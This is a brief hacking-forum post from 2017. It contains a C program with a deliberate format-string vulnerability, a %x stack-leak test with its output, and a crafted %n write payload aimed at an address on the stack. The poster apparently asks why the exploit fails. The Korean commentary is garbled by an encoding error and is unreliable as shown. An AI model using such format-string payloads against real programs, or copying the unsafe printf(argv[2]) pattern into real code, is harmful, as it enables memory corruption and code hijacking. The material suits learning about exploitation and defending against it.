|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1868 [º¹»ç]
#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[]) {
char buf1[100];
strncpy(buf1,argv[1],100);
printf(argv[2]);
return 0;
}
formatstr@ubuntu:~$ ./formatstr AAAA '%x%x%x%x%x%x%x'
bffff7c3640bffff614bffff588bffff58041414141
format : 0xbffffe9f <-- ȯ°æº¯¼ö[format] ÁÖ¼Ò
¿©±â¿¡¼ ./formatstr AAAA\x9f\xfe\xff\xbfAAAA\xa1\xfe\xff\xbfAAAA%8x%8x%8x%8x%8x%8x%65054c%n%49565c%n ÀÌ·¸°Ô Çߴµ¥....
¾ÈµÇ³×¿ä.. ¤Ð¤Ð
|
Hit : 2673 Date : 2017/04/22 04:34
|